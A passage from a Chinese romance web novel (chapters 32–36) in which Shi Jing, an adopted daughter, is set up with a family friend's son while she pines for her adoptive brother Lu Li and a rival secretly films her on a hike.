陆礼:?
陆母在小花园里听到动静,进客厅见两人一前一后进来,便问后面的陆礼,“你又说妹妹什么了。”
陆礼:“说她上班请假生气了。”
陆母望着儿子,惆怅地叹气。
陆礼:“您为什么这么看我?”
陆母去洗手,敷衍地回了句:“你开心就好。”而后就上楼叫时憬一起下来陪着她做蛋糕。
晚餐后的甜点是母女二人亲手做的小蛋糕。
陆礼的是一块黑巧三角蛋糕。
他面不改色地吃了下去,100%的黑巧在口中残留着散不去的苦味,让他微皱了下眉。
母女二人一起偷笑。
为这个小小恶作剧的成功击掌。
陆礼无奈摇头,喝了两大杯温水才冲淡苦味。
这夜时憬没有在做噩梦。
没有梦见遗忘的记忆。
她第一次感受到自己在保护自己,甚至希望,如果再遇到痛苦的事情,也能像这样忘却该有多好。
次日,她记得妈妈要带她去见一位刚离婚回国的阿姨,想着自己穿得成熟稳重些,穿了套藏蓝毛呢裙,外面罩件黑色羊绒大衣。
下楼时,陆母惊呼一声。
“我的宝贝,你今年是23岁,不是42岁!这么青春的年纪,为什么要把自己打扮得这个老气横秋的?快去换一件。”
“……好。”
陆母看着女儿上楼的背影,想了下,还是不放心,跟了上去。
半个小时后。
时憬看着穿衣镜中的自己。
高领白色羊绒衫,搭千鸟格短裙。
外穿狐狸毛领粉色宽版大衣,袖子上也有两圈可爱毛圈。
她语气有些担忧地询问:“……妈妈,这也太可爱了,不太好吧?”
陆母看着镜中青春靓丽女儿的眼神,让时憬想起了自己小时候玩芭比娃娃,双眼都写满了满意二字。
算了。
妈妈开心就好。
后来在车上时,陆母才告诉时憬:“等见了你邓阿姨就知道了,离婚对她来说完全不是一件伤心事。”
时憬点头说知道了。
开始猜想,那可能是摆脱一段并不幸福婚姻后的自由?
这次见面约在一家小资情调的咖啡店。
咖啡店面后是一大片青青草坪。
今日阳光温暖,草坪上支起零星几顶遮阳伞,伞下放着桌椅,供客人边欣赏绿景边喝咖啡。
隔离了尘嚣。
拂去身上的浮躁。
时憬还在诧异沙市什么时候开了这么一家咖啡店,陆母微笑回她:“还未对外营业。”
时憬:?
时憬:“不会是邓阿姨开的吧?”
沙市这一块地皮可不便宜!
话音刚落,时憬就看见一位女士推开玻璃门,踩着高跟鞋快步朝她们走来,酒红色波浪卷发随着她的动作飘动。棕色修身连衣裙勾勒出女士优雅的身躯,脸上的妆容更为她的增添不属于国能常见的奔放热情。
就像是加州的灿烂阳光般。
“若云!欢迎!”
邓艳华上来热情与陆母拥抱。
时憬终于相信妈妈的话——
离婚对邓阿姨来说完全不是一件伤心事,也不是她认为的解脱重获自由,而是一种升官发财死老公、恨不能奔走相告大摆筵席的大喜事。
这位热情的邓女士松开陆母后,迫不及待看向时憬。
喜不自胜又抱又拉着她看,“真是位太太太可爱的姑娘了,怎么能有这么好的女儿呢?若云,我可太羡慕你了!我也想要个能陪我逛街喝茶一起做美容说悄悄话的女儿。”说着就真问时憬,“宝贝,要不要跟阿姨回家当我家的女儿,我也有个儿子能当你哥哥!”
第32章 外国小哥哥!又高又帅!
时憬被如此热辣直白的喜欢扑得一愣。
过了元旦她都24岁了。
可邓阿姨的语气像把她当初十来岁的小姑娘。
她看向一旁的妈妈,佯装羞涩:“妈妈…”
陆母的满足感都快溢出来,一脸‘你看女儿和我多亲近你就羡慕吧’的优雅笑容。
“你吓到我闺女了。”
邓艳华哎哟了声,收敛了些过分外向的热情,“抱歉,我吓到小公主了。原谅我,实在是太想要一个香香软软的女儿了。”她一脸遗憾地耸肩摊手。
陆母笑得合不拢嘴,问:“今天怎么没看见费兰?”
邓艳华努嘴示意了下她们身后方向,“这不是来了。”她挥动胳膊招呼费兰过来,“过来!”叫完后就不再看他,仍拉着时憬聊天说话。
陆母转头去看走来的大男孩,真心夸赞道:“十多年没见费兰都已经长成大帅哥了,还是金发碧眼的外国帅哥。”
“他爸也就基因这点优势了。”
陆母轻打了她一下,低声道:“孩子快过来了,说什么呢。”
费兰走近,笑容灿烂且热情,与陆母打招呼:“陆阿姨依如此美丽动人。”然后展臂松松抱了下陆母。
陆母虽不习惯这种国外打招呼的方式,但对好姐妹热情外向的儿子十分满意。
时憬则在费兰的声音响起后抽了下眼角。
这声音听着耳熟。
不会这么巧……吧?
时憬转头去看。
时憬:……啧。
还真是这么不凑巧。
费兰看见时憬的容貌后,也露出一瞬的诧异,随即被爽朗的笑容盖过,白丝蓝的眼瞳注视着她,向她伸出手:“真巧,又见面了。”
时憬笑容微妙。
但碍于两位妈妈在场,时憬伸手,挤出乖乖女式的笑容:“真巧。”
陆母听他们已经认识了,诧异道:“你们什么时候见过面了?”
趁两位妈妈都看向费兰,时憬飞快地抽回手。
费兰主动解释,口音带着生硬的语调:“前天晚上您家的宴会上,我看见时小姐站在一边,情不自禁上前邀请她跳舞。没想到时小姐竟然是阿姨您的女儿,缘分真是妙不可言。”
时憬礼貌听着。
内心疯狂翻白眼。
都会用成语的老外,还会不懂基本的社交礼貌?
陆母立刻想到那晚发生的事情,所以女儿才会无人邀请,心里刺痛了下,又对善良热情的挚友儿子多了一份好感,多亏了他邀请,时憬才免于无人相邀的尴尬。
“这可是真的有缘!”陆母笑盈盈的说着,虚推了下时憬,“费兰多年没有回沙市了,你带着他去周边逛逛走走,我和你邓阿姨聊会儿天。”
邓艳华自然也赞同,“费兰,好好照顾小憬。”
妈妈们的笑容何其相似,挽着手走远了两步聊天去了,故意给他们留出相处的空间。
时憬至此算看明白了。
妈妈表面上是带着她来见挚友,实际是一场知根知底的相亲局。
费兰行了个绅士应诺的动作。
如此夸张的举动,在他做来却如此自然和谐。
他抬眸,漂亮的蓝瞳看向时憬,仿若深情般:“能照顾淑女是我的荣幸。”
时憬的脸颊忍不住发红。
这花花公子……太TM帅了。
自己这该死的颜控属性!
费兰冲她眨了下眼睛,提议道:“两位妈妈显然已经顾不上我们了,不如去后面走走?那边有个不错的公园。”
时憬成功被美色迷惑了一瞬。
点头答应。
穿过咖啡店的草坪,从绿植拱形门出去,过条马路就是小公园人行道入口。两旁树木高大,阳光从缝隙斑驳洒落,转过一个弯就有半个足球场大的草坪。
有三三两两的情侣在遛弯。
也有一家三口在散步。
时憬还在打量环境,耳边传来费兰的声音:“等一下,我马上就来。”一转头,人就跑没影了。
时憬:………
外国人都如此…自由?
在时憬的耐性告罄前,费兰终于出现。
他小跑过来,一手牵着个太阳花笑脸气球,一手拿着两个裹着油纸的吉拿棒,一路吸引了所有路人的目光。
费兰的蓝眼睛里清晰印着时憬诧异的脸,他问:“有肉桂和巧克力,喜欢哪个?”
时憬指了巧克力。
费兰递给她。
时憬握住还温热的吉拿棒,好奇问道:“这是从哪儿买来的?”
费兰:“我妈妈的店里。”
时憬:??
时憬:“你特地跑回去的?”
费兰挑眉:“快吧?我可是短跑冠军。”
时憬笑容微妙,配合着竖了个大拇指,又指着气球问:“这也是从咖啡店里带来的么?”
费兰摇了头,笑着把气球递给她:“那边有人再卖。这么可爱的气球更配可爱的女士与今日灿烂的天气,希望今天你能有一份好心情。”
他比时憬高出半个头。
此时弯下腰,表情温柔地看着她。
深邃的蓝瞳仿佛在诉说着深情。
被帅哥这样注视,时憬实在控制不住她的心跳,一把拿过气球,想要摆脱他刻意营造出来的暧昧氛围。
路人经过,纷纷看向费兰:“外国小哥哥!又高又帅!”
“中文还说得这么流利!”
“对面是他女朋友吗?居然买了气球哄女朋友开心!看得我哈特软软的!!!我男朋友只会让我多喝热水!!”
时憬先愣住,最后被热水梗逗乐。
噗嗤一声笑了出来。
费兰眨了下蓝眼睛,好奇询问:“是看到了什么有趣的事吗?”说着还要往他身后看去。
时憬怕被路人发现他们在偷听,扯着费兰逃离现场,路上和他解释了下热水梗。
费兰笑点比时憬的还要低。
两个低笑点的人凑在一起听笑话的结果就是,谁都停不下来,笑的时憬捂着肚子喊疼。费兰笑到快崩溃,还和她说:“那你多喝热水。”
最后两人笑得走不动道。
坐在长椅上揉着发酸的脸颊。
为了转移注意力,费兰主动和时憬分享他几次回到中国遇到的乌龙事件,他中文不算流畅,但架不住幽默风趣,时憬就跟听游记似的津津有味。
离开小公园前,他们经过草坪,有个小朋友追着树叶在玩,她的妈妈正在安慰哭泣不止的小宝宝。
时憬看了眼飘着的气球。
费兰立刻说道:“气球可以随你处理,这已经是你的所有物了。”
时憬说了句谢谢。
随后,她朝着他们走去。
就在费兰以为,时憬是要把气球送给哭泣的宝宝、为困扰的母亲提供一些助力时,却发现时憬走向那个独自追逐落叶的小女孩。
她蹲下身,毫不在意外套垂到地上。
将气球给了小女孩。
温暖的阳光下,她的笑容被光线笼罩妆点。
费兰离得有些远,没听清她说了什么,只看见小女孩开心地笑了,年轻的妈妈警觉,快步走过去,时憬的唇张合,年轻妈妈便有些愧疚地摸了下小孩子的头,感谢地送她离开。
费兰无意目击这个女孩美丽外表下的温柔。
像星光一样动人。
第33章 是吃醋了么
在回陆园的车上,时憬就收到了费兰发来的信息。
费兰:【抱歉,在未经允许拍下的这一动人的瞬间,希望能得到美丽女士的原谅】
下面是一张照片。
拍下了她蹲着送气球的模样。
阳光勾勒她的面庞,也温暖了她的发丝,充满着善良的美丽动人,是她自己怎么也拍不出来的。
也是技术再高超的摄影师也拍不出的传神一幕。
时憬看得心花怒放。
瞬间原谅外国人接连两次的冒昧。
陆母察觉到女儿抱着手机一脸笑呵呵地,问了句:“是谁来了信息,让你高兴成这样。”
时憬抬头,眼眸亮晶晶的:“是费兰,您看!”她迫不及待地把照片展示给陆母看。
陆母看着屏幕中的女儿。
温柔漂亮美丽优雅。
最重要的是,拍摄人也得有同样发现美的眼睛,才能拍出来这么温柔的一幕,看来费兰真是个不错的孩子,也对女儿有几分意思。
陆母的语气听起来比时憬更为满意,“拍得真好看,回头印出来放相册里。”
时憬笑成月牙:“是吧?这身衣服也配今天的阳光,妆容也选对了,绿草地衬得我皮肤又白又通透。唉呀~我都没想到自己还能这么温柔美丽~”
女孩眼睛放光地欣赏照片。
陆母起先还点头。
后来似乎觉得有些不对劲。
女儿好像光满意照片了,一点儿也没满意拍摄人的苗头,转念又一想,至少两个孩子第一次见面还算投缘,其他的不急,慢慢相处总能处出小火苗的。
于是,今晚一入座,母女二人的好心情灿烂得无法让人忽视。
陆父忍不住问妻子:“今天你带小憬去见邓艳华,是遇上什么有趣的事了么?”
陆母顾不上吃饭,眼梢染着笑意道:“我正想同你说呢,今天还见到了艳华的儿子,叫费兰。是个金发蓝眼睛的大帅哥,像国外杂志上的男模似的,热情还懂礼貌。”她顿了下,看向夹菜吃饭的女儿,语气愈发满意:“两个孩子年龄相仿,也聊得来,他们这次回国就打算在沙市定居了,小憬也能和费兰多接触接触。”
陆父听出来妻子的想法。
下意识道:“小憬才多大,急什么。而且他们这个年龄的孩子都喜欢自由恋爱。”
陆母言语温柔,态度却分毫不让:“她过了春节就24了,以前忙着学习压力大,现在出来工作后,也该多认识几个男孩子,不冲着走到最后结婚的这一步,谈几场恋爱也是好。艳华是我挚友,她的儿子也是知根知底的好孩子,我们也能更放心。”
果真是因为温泉山庄的那一幕,让妈妈隐隐察觉到了些什么,所以才会如此急切地介绍她和费兰认识。
时憬低头,咀嚼的动作停下。
鱼刺扎破嫩肉,血腥味在口中散开。
陆父看向时憬,温和道:“小憬,妈妈也是一片好心,但你也不用太勉强自己。”
陆母不赞同的瞪了眼丈夫,“今天两个孩子聊得可投缘了,哪里有一丁点勉强的样子,我可从来不会逼迫小憬去做她不喜欢的事情。”说罢,她微笑着问时憬,“乖乖,告诉你爸爸这个老古板,你觉得费兰怎么样?”
时憬吐出细小的鱼刺。
抬眸。
对面的陆礼安静地夹菜吃饭,从头到尾没有出声。
似乎根本不关心这个话题。
时憬扬起微笑,回道:“费兰风趣又幽默,和他相处还蛮开心的。”
陆母欣慰道:“是吧?你爸爸都是瞎操心。既然两个人合得来,就多接触接触,妈妈不会强迫你,你按着自己的节奏去相处就好。”
时憬乖巧地点头。
“我知道了,妈妈。”
“哒。”
一声轻响。
陆礼放下筷子,起身语气平静地说了句:“公司还有事,我先上去。”
时憬的心快跳两下。
目光迫不及待地追上陆礼,可惜只看见离开的背影。
他——
是吃醋了么。
一定是的。
这几年都是妈妈给他介绍女朋友,连她去一趟夜店,兄长都能气得暴跳如雷,现在妈妈要撮合她和费兰,陆礼一定也会有些醋意。
定是这样的。
否则他怎么会突然离席。
时憬舌尖像是舔到了的蜜糖。
冲散血腥味。
她强压住自己想要冲进陆礼房间的冲动,餐后陪着妈妈练会儿瑜伽,回房洗漱护肤,心不在焉地玩游戏,等到深夜降临,她才轻手轻脚地穿过走廊。
*
陆氏集团新年有一项固定活动。
元旦后第一个工作日会组织总部的员工爬山登高,寓意新年新挑战、新气象。活动采取自愿报名制,但陆礼身为陆氏集团现任总裁,自然会参加。
为了明天的活动,陆礼需提前处理手上的工作。
忙到深夜,准备收尾时,房门悄悄打开。
探进来个毛茸茸的脑袋。
附赠一张灿烂的笑脸。
“哥~”
接着就一路小跑地溜进来,身上也穿着粉色毛茸茸的睡衣,面颊微红、眼睛黑亮,与晚上吃饭时一样的好心情。
陆礼看着她跑过来,手指点了下时间,“还不睡觉?”
时憬挤进他与电脑间,臀靠着桌沿,眼眸中明亮期盼的神采盈盈动人,故意问兄长:“今天我见了费兰,哥你就没什么想问我的么?”
陆礼的座椅往后滑了半步。
给妹妹让出一些空间。
眉眼间是时憬熟悉的冷静与冷漠,“你们能相处愉快就好。”
时憬继续加深笑容,“当然愉快~费兰虽然从小在国外长大,但他的中文还蛮流利的,人超级热情,拍照技术更厉害!”她双手轻轻击掌,唇角的笑容抑制不住地高高扬起,掏出手机,点开那张照片举到陆礼眼前:“你看这张,就是费兰拍的。”
她语气中的欣喜与喜爱之意如此真实。
听起来对费兰满意极了。
陆礼抬眸,平静的目光落在照片上。
照片会流露出掌镜人的喜恶。
而他眼前这一张属于妹妹的照片,他也能直观清晰地感受到拍摄者对时憬的喜爱。
他早已知道,从不缺爱上妹妹的男人。
陆礼礼貌的收回视线,夸道:“照片拍得很好看。”
时憬追问:“就只有这一句?”
第34章 妹妹的眼泪让他心软
陆礼的语气比陆父的还要古板:“十二点了,你该回去睡觉,而不是继续在这儿跟我讨论照片。”
不止古板,还如此冷静。
……不对。
不应该是这样的。
时憬未能从哥哥的脸上窥探到想要的情绪,快要挤不出笑容来,她笑得极为勉强,却还不肯放弃:“没有其他要说的了么?”
陆礼站起身,“晚安。”
时憬不敢置信地抬眸看他。
气得转身就走。
她才不是为了来听一句不咸不淡的夸奖和晚安的!
她和男人去相亲、约会,陆礼真的毫无反应?他真的一点都不在意吗?明明他连自己穿衣服多少、几点睡觉都要管几句!
时憬都已到门口,又转身走回去。
胸脯随怒气不停起伏,盯着陆礼的眼睛亮得惊人,压着声音质问:“我和其他男人见面约会,你真的一点都不关心、都不在意吗?那你今晚又为什么提前离席?”
在妹妹面前,陆礼是一个情绪稳定、包容溺爱她的兄长,哪怕面对她的怒气,大多时候也能冷静地回应:“我提前上来是因为明天公司活动,有工作处理。费兰是邓阿姨的儿子,就像妈妈说的那样,对方是知根知底的异性,不用我们额外担心。”他用一副兄长循循善诱的口吻说道:“我们都希望你能找到真心喜欢的人。”
巧妙避开时憬所有逾矩的逼问。
他开始尝试着规范兄长照顾妹妹的尺度。
可这个回答、这个态度,根本不是时憬想要听到的。
只觉得荒唐又刺耳。
她讽刺着反问:“然后你就擅自决定费兰一定适合我?一定能让我获得幸福?”
“你自己说和他很聊得来。”
时憬哈的冷笑一声,“我还说这一辈子不会爱上除了你以外的男人,你怎么又不信了呢?”
“时憬。”
陆礼忽然沉下脸。
语气严肃地叫她的名字。
时憬抿的唇角发白,偏过头不看他。
或许是因生气,又或许是因委屈,她的气息还是紊乱,眼角慢慢染红,却仍倔强地挺直腰背、昂着下颚。
陆礼闭了下眼,等再次开口时,语气几近温柔的哄人,“你才23岁,正是最青春的年纪,不要太早定义一辈子的事。在未来你会遇见更多优秀、年龄与你相仿的男生,拥有浪漫的邂逅、真挚热烈的爱情,而不应该只局限于身边的人。”
局限……?
怎么会是局限?
陆礼明明是她的全世界啊。
“我宁愿不要那些未来……”她哽咽地开口,终于转头看向陆礼,眼中盈着泪光,“因为我不会遇到第二个陆礼了啊……”
妹妹的眼泪,几乎让陆礼心软。
他终于抬起手,指腹温柔地擦去她掉落的眼泪。
就在时憬以为兄长因为她的眼泪选择妥协时,耳边再度响起陆礼平静的嗓音。
“邓阿姨是母亲的挚友,性格爱憎分明,费兰品行更有保证,你应该和这样的男生多接触。”只有这样,他松开了手,才能看到呵护长大的妹妹,获得永远的幸福,而不是继续被他的默许伤害。“很晚了,去睡觉吧,明天还要上班。”
时憬瞬间敛起楚楚可怜的眼泪,用力拍开陆礼的手,抬脚怒气十足地回房,摔上门,把自己扑进被子里。
男人果然都是走肾不走心的浑蛋!
他们都睡了这么多次了,居然听见她去相亲没一点反应?甚至还说希望她未来能有炙热的爱情?
明明连她去夜店都要管!
见鬼去吧!
时憬生了一顿闷气后,逐渐冷静下来,脑中因夜店一词,联想到陆礼之前曾多次问她是和谁一起出门。
悄悄地冒出一个念头。
陆礼不是想让她认识男人,可以邂逅幸福的爱情么?
那她就邂逅去!
她向来雷厉风行,给耶耶发了信息问他们新年团建爬山活动是什么时候,要去爬哪座山。
耶耶是个标准夜猫子。
尤其是在收假的前一晚,迟迟不舍得入睡,秒回信息。
耶耶:【去桑山】
耶耶:【上吊.jpg】
时憬看着桑山二字,险些笑出声来,立刻给童宛打去电话,这也更是个夜猫子,但今晚却接得极慢。
“大小姐几点了,有什么事啊…”
气息听着也不稳,不知是不是被她吵醒。
时憬连忙道了声歉,“爬山我们可以改到明天去么?不对,确切地说是今天。”
“我…OK啊……但你不是要上班……”
“我明天请假。”
“那我去改约白行的时间……没的事我挂了……明天早上再说……”
时憬刚想说自己来约白行也行。
但童宛电话挂得太快,她都来不及说出口。
嘟囔了句大半夜的这声音不像是急着去睡觉啊。
三秒后,时憬忽然明白过来。
尴尬掩面。
*
第二天。
四人如约在市区碰面,由童宛开车载他们去桑山爬山。
时憬先从耶耶那边打听来消息,陆礼那一帮高管爬山都选择的陡峭山路,而不是后来修建的登山石阶。时憬为了想要和陆礼‘偶遇’,也选择了陡峭的。
童宛连连摆手拒绝,带着季易去爬登山石阶。
两队人还约好看谁先爬到山顶。
时憬起先还有心思留意前后左右的人群,试图找到陆氏集团总部的人。
爬了一个小时后,她已经喘得上气不接下气,汗如雨下,只顾看自己脚下的山路了,认清现实已放弃‘偶遇’。
打算登顶后拍张合照,发个仅陆礼可见的朋友圈。
爬到半山腰时,时憬实在走不动,好不容易看见一个石墩子,也顾不上干净不干净,一屁股坐下去喘息休息。
白行也跟着停下。
从背包里拿出矿泉水,拧开后递给她。
“你慢点喝两口,别呛着。”
时憬说了句谢,接过喝了小半瓶后,人才缓过来些。
她这才发现眼前的白行爬了这么久下来,竟然脸不红气不喘地,甚至还能照顾她,诧异道:“你怎么都不累?是平时经常运动吗?”
白行腰间系了件薄羽绒服。
上身白色连帽卫衣,下身黑色裤子,脚上一双没牌子的运动鞋,短发精神利索,笑起来露出一口整齐白亮的牙齿,像极了个单纯阳光的大男孩,他毫不避讳地提及大山里贫瘠的生活。
“我从小就长在大山里,上学每天往返要走十里山路,还没今天这路好走,一下雨还容易打滑摔跤,走山路走习惯了。”
“现在还会这样么?”
“现在不会了,我们镇上造了希望小学,过去只要走两三里路。政府还帮忙修了路,路好走多了,也能骑自行车去上学。”
时憬被他的情绪感染。
“未来会越来越好的。”
白行咧嘴笑:“我也相信会变得更好。”
大男孩的笑容里都是对未来的期盼,时憬忍不住多看了几眼。
白行摸了下自己的脸。
“是我脸上有什么脏东西吗?”
时憬摇头。
“我以前也遇到从山里出来的人,他们为了能留在城市拼了命的努力,也不愿提自己的出身,更不会像你这样,提及大山里的生活都会这么开心。”
白行挠了下头,笑呵呵地解释:
“比起大城市里的快节奏生活,我更喜欢大山里重归自然的无拘无束,没有复杂的猜忌、勾心斗角。有清晨叶片上的露珠、早起院子里清新的空气,自给自足地耕种。等我供弟弟妹妹上完大学,我估计就会回大山里去生活了。”
等白行说完后,发现时憬没有像其他人那样一件件反驳他,并告诉他——他拥有这样的外在条件,就应该努力留在大城市里,才能赚到更多的钱。
她只是目光温和地看着他,安静的听他描述。
没有居高临下的指指点点。
白行在这样的注视下,心跳乱了几拍,连忙岔开话题:“季易他们那边估计走得要比我们快了,我们得快些赶上了。”
时憬点头,“好,我马上起来。”
话音落下,她撑着胳膊试图起身。
结果因为坐姿歪歪扭扭的,右脚麻得毫无知觉,无法顺利起身,她有些尴尬的求助白行。
白行紧张问道:“怎么了?”
时憬:“脚麻了……站不起来了……”
白行看她硬挤出来的微妙笑容,忍不住露出些笑来,弯腰靠近她,低声道:“不好意思,我碰一下你的胳膊。”等时憬点头后,他两手握住时憬的上臂,用力将她扶了起来,动作又快又急。在时憬起来后立刻松手,不敢继续靠近她。
哪知山路陡峭,脚下不平。
时憬右脚仍无知觉,在白行松开后脚下一空,整个人猛地往下砸去。
白行慌了,跨步上前用身躯挡住。
两人撞在一起,勉强维持平衡。
男生周身未散的热度传来,还有胸口失了冷静的心跳声。
急促而剧烈。
时憬还未来得及分清楚是自己险些摔倒后吓出来的,还是来自白行的,就被身后一道叫她的声音打断。
第35章 那边的人是…陆少?
“小憬妹妹?”
时憬闭了下眼,藏起心底的烦躁。
仿佛楼心月已经忘了年前在陆园发生的不愉快,以及时憬那一条受伤后膈应她的朋友圈。
也可能是她没忘记,因在陆氏新年晚宴上,陆礼与她共舞,让她又自信满满地认定陆礼对她有意。
但不论哪一种,都让时憬觉得恶心。
任何一个妄图从自己身边抢走陆礼的女人,都让她厌恶。
时憬站稳后,推开白行,转身朝身后望去。
楼心月一身lululemon,粉色帽衫配黑色直筒运动裤,勾勒出纤瘦却不干瘪的身材,面上妆容精致清纯,太阳花似的眼睫毛根根分明,精致的能随时上运动画报。
此时,如被众星捧月般,又惊又喜地看着时憬。
成功让时憬成为众人的焦点。
“真的是小憬妹妹!好巧啊,是和朋友一起来爬山的么?”
楼心月的口吻像邻家姐姐般的亲切。
如果没有暗戳戳的在‘朋友’二字上刻意加重的话。
时憬扬起笑脸回应。
内心想的却是这下不用担心陆礼不知道她和一个男生来爬山了,不止是陆礼,估计过了几天,整个陆氏总部都会知道时憬有了个‘寒酸’的男性朋友。
“哇——真的好巧啊。”时憬也惊喜地轻击手掌,“心月姐你们是部门活动还是公司活动啊?我哥也在么?”
“陆礼有事先回公司了。”
随即,楼心月热情地邀请时憬和他们一起爬山。
时憬笑着摇了下手,“不了,我朋友他怕生。我们刚休息好,先往上继续爬了,你们慢慢休息。”
楼心月也不勉强,温柔地叮嘱她爬山小心些。
时憬懒得应付。
拉着白行继续爬山。
转过身去瞬间,脸上的笑容秒收。
动作之快,表情收放之自如,看得白行一脸的惊愕。
时憬走了几步后才注意到白行的脸色,歪了下脑袋,“怎么了?”
白行走在她身边,压低声回道:“你刚才的变脸速度好快啊。”语气里竟然带着惊叹,仿佛在说:你究竟是怎么做到的。
时憬被他直白的反应逗笑,谦虚道:“在圈子里不少场合都需要来一场‘你好我好大家好’的寒暄,这算是一个必备技能?”话音落,她秒收笑脸。
眼中萦着星星点点的笑眨眼消失殆尽。
只剩下一片沉寂的眼底。
速度快到白行愣了下才反应过来,忍不住竖起大拇指。
时憬笑眯眯看他:“要不你也来试试?”
白行也不推三阻四,酝酿了下表情,照着做了一遍。
虽然生硬,到还算完整。
时憬拍手,笑着鼓励:“对,就是这样!恭喜你解锁了一个新技,以后碰上讨厌的社交场合记得用哦。”
她的笑容灿烂,连白行也跟着笑起来,说多谢时老师指导。
二人说笑着爬山的模样,被楼心月偷偷拍了下来,正准备发给陆礼时,忽然身边冒出来一个声音。
“心月,你偷偷拍他们干嘛啊?陆少的妹妹脾气在公司里可是出了名的不好,生气起来连我们总裁都敢甩脸,你这样偷拍,回头被她发现了,你这么温柔的性子肯定说不过她的。”
同行的一个同事提醒她最好赶紧把视频赶紧删了,千万别得罪时憬,另外几人也纷纷跟着附和。
楼心月摁灭屏幕。
不让他们看见她的手机界面,反而一脸忧心道:“就是因为小憬这个脾气,没人敢说她,我才更要这么做。”
同事们不解。
“你想想看,刚才那个年轻男生虽然长得不错,但浑身上下没一件牌子,显然是从贫困家庭里出来的。也就是仗着脸好看、嘴甜,专门哄着年轻小女生给他们钱花。小憬单纯,我实在是怕她被骗了。”
这段话乍听之下毫无问题,更显得楼心月心地善良,才会这么担心时憬。
同事们七嘴八舌道:“时憬能有你这个准嫂子可真幸福啊。”
“可不是么,连我都羡慕了呢。”
楼心月似是羞涩地捂了下脸,嗔她:“你们小点声,让别人听见了不好。”
是听见了不好,而不是不能让人听见。
那就是楼心月真的和陆少八字有了一撇?
同事们的笑脸更加热情。
他们现在捧着的不是楼心月,而是未来陆氏集团陆少的夫人,更是他们未来步步高升的事业。
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>而楼心月不止将那一段视频发给了陆礼。
还转给了一个**。
元旦那晚,她让楼正贺找了个嘴严的律师,假装是法律援助去帮助陈良的,想从他口中套取关于时憬的过去,结果人在警察局蹲了一晚就疯了,什么话都打听不出来,还险些暴露了他们。
对方律师一察觉,楼正贺吓得甩手不干了。
楼心月只能自掏腰包,找了现在这个**继续去查。
对比陆礼对时憬的重视,楼心月嫉妒地扭曲。
人家半路的哥哥多护着妹妹,而她这个亲生的哥哥畏首畏尾、毫无远见!楼家靠他迟早要完蛋!
楼心月压下对楼正贺的怒气,催促**先查视频里那个年轻男人究竟是谁。
孤男寡女能约一起爬山的能是什么单纯关系。
时憬一头勾搭着陆礼,一头还和别人眉来眼去,不知道陆礼看见他爱护的妹妹玩得这么花会有什么反应。
*
四人终于在山顶汇合拍照。
镜头中,他们背后是郁郁葱葱连绵成片的山群,阳光灿烂,而四个人脸上的笑容也是一样的灿烂。
时憬低头检查照片。
抬头看见童宛抬着头,正和季易在说着什么话,脸上的笑容是时憬从未见过的甜蜜,而季易低头看着她的目光也如此温柔。
两人站在一处,就像一对恩爱的小情侣。
哪怕维系他们的是金钱,但此时童宛的幸福是真的。
她们都无法奢望未来。
及时行乐,享受当下。
她便替童宛高兴。
童宛察觉到时憬的目光,略带疑惑地转头看来:“怎么了?”
时憬扬起笑脸,朝他们走去。
“肚子饿了,我们去吃午饭吧。”
“山顶上有什么吃的?”
“泡面+香肠!”
四人同声说出,互相看了几眼,没绷住,笑得前仰后合。
等吃过泡面,又一路说说笑笑地下山。
童宛喜欢热闹,提议等会儿回市区吃火锅,时憬听得肚子里蛔虫都馋了,第一个响应后,童宛脸上的笑容却僵了下。
时憬:?
童宛撞了下她胳膊,低声问她:“你看身后那边…是陆少吧?”
第36章 有没有让他碰你,回答我!
时憬怔了下。
陆礼不是回去了?
她向身后看去,靠在黑色迈巴赫旁冷着脸的男人,不是陆礼是谁?看来还得多谢楼心月的助力,估计是偷拍了她和白行的视频,才把陆礼给气回来。
她佯装没有发现陆礼的冷脸,挥着胳膊欣喜地叫了一声哥,转头同童宛笑着说:“还真是我哥,我过去和他说两句话,你们等会儿我——”
童宛使劲朝她挤眉弄眼。
时憬还故意问:“你眼睛不舒服么?”
童宛急得都要跳脚了,上次她带时憬去夜心被陆少逮个正着,当时白行还上去拦过,现在万一被认出来怎么办!可偏偏时憬没接收到她疯狂释放的暗示,还在那儿关心她眼睛。
童宛顾不上了,低声:“你哥认出——”
“时憬。”
两人的声音同时响起。
时憬回头时,胳膊被用力攥住,语气是通知而非商量,每个字都冷冷砸下来:“跟我回去。”
时憬蹙眉,试图扯回胳膊:“不要,我们约好了还要去吃火啊——”话音未落,胳膊被猛地拽了下,陆礼强行拖着她转身就走。
“哥你干嘛——有话不能晚上再说么——”
陆礼眼神犀利:“你要自己走,还是我把扔你回车里?”
时憬似是被他的态度吓到了,不敢再挣扎,转头去看童宛他们。
童宛被此时杀神一般恐怖的陆少吓到,所以在时憬回头时,童宛的脸色也跟着白了,大声回道:“时憬,你别担心,我先和我两个朋友先回去了,回头再联系!”说完后,拉着季易扭头就撤。
走了两步才发现白行没跟上来,还在担心地看迈巴赫那边。
她折回去用力拽了下,低声命令道:“看什么!快走!多看一眼都是给她惹麻烦!”
季易不知道先前夜心那一桩事,但他进了夜心也有三四年了,自然知道陆礼的名号。听童宛的口气,他惊愕着问:“陆少知道我们俩是夜心的?所以才急着把时小姐拉走?”
白行看着迈巴赫风驰电掣地离去,垂眸回道:“之前在夜心见过一次,应该是认出来了,不然他不会那么生气地带走时小姐。”
童宛眼神有些奇怪的看了眼白行。
“你担心什么?我们这个圈子里的都知道,陆礼有多疼他妹妹,还不如先担心你自己能不能保住夜心的工作吧。”
白行抿着唇,不说话。
阳光大男孩秒变忧郁男生。
季易主动握上童宛的手,“你刚才说我们是你的朋友,会不会也给你惹麻烦?”
童宛对待季易时,笑容温柔而宠溺,“不会啊,陆少才懒得我这种人呢。哪怕他多事给我老头告状,知道了也不会管我。”她耸肩笑了下,一副浑不在意的态度。
季易张了下口想说什么,却被童宛打断。
“白行,一起走吧?”
白行摇了下头,“不用,路口那边有公交车,我正好慢慢逛回去,就不打扰你们了。”
童宛乐的答应。
季易轻捶了下他肩膀,“到家了说一声。”
白行站在原地目送他们离开后,才慢慢往公交车站走。
他想起那辆黑色昂贵的迈巴赫,又看了眼自己脚上便宜的鞋子。时憬没有瞧不起他廉价的衣着,没有居高临下地悲悯他,又或讥讽他的出身。
她美丽,却不高傲。
善良却不伪善。
像……
星光一样。
遥远得触手不及。
*
“砰——”
副驾驶门被撞上。
陆礼步伐极快地从另一边上车,再良好的教养,在妹妹的激怒下也难以维持绅士二字,重重关上车门,动静大的车身都晃了下。
陆礼沉默开车。
时憬侧着头故意不看他,也一声不发。
车内气氛压抑令人喘息都不顺畅。
